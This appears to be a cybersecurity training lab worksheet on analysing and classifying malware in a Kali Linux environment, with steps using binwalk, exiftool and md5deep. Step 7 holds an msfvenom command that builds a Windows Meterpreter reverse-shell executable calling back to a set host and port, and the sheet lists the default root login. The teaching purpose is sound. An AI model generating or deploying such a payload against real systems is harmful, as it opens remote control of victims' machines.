Malware Threats

Analyze and Classify Malware Lab

Description: In this lab, students will analyze a malicious executable file and perform a hash of the file.

Requirement: Students will need access to the Cybrary lab environment for this lab.

Step 1: Log into your Cybrary account

Step 2: Search for the Analyze and Classify Malware lab from CybrScore

Step 3: Select the Launch button

Step 4: Click the Launch Item button

Step 5: Log into the Kali Linux machine by entering the following username and password.

Username: root

Password: toor

Step 6: Click the Terminal icon at the top of the Kali desktop.

Step 7: At the Terminal prompt, type the following command and hit Enter to create the malicious executable file.

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=443 -f exe -o maliciousfile.exe

Note: It might take a few minutes to create the file.

Step 8: Type ls at the prompt and hit the Enter key to verify the file has been created.

Step 9: Type clear at the Terminal prompt and press Enter

Step 10: Next, type the following at the Terminal prompt

binwalk -B maliciousfile.exe

Note: This scans the file for common malicious signatures.

Step 11: Next, enter the following command at the prompt and press Enter.

binwalk -3 maliciousfile.exe

Step 12: Enter the following command and press Enter to see if there are any opcodes.

binwalk -A maliciousfile.exe

Question 1: Do you see any No Operation opcodes? _____

Step 13: Next, type the following command at the prompt and press Enter.

exiftool maliciousfile.exe

Step 14: You will next perform a hash on the malicious file.

Step 15: Type the following command and press Enter:

md5deep maliciousfile.exe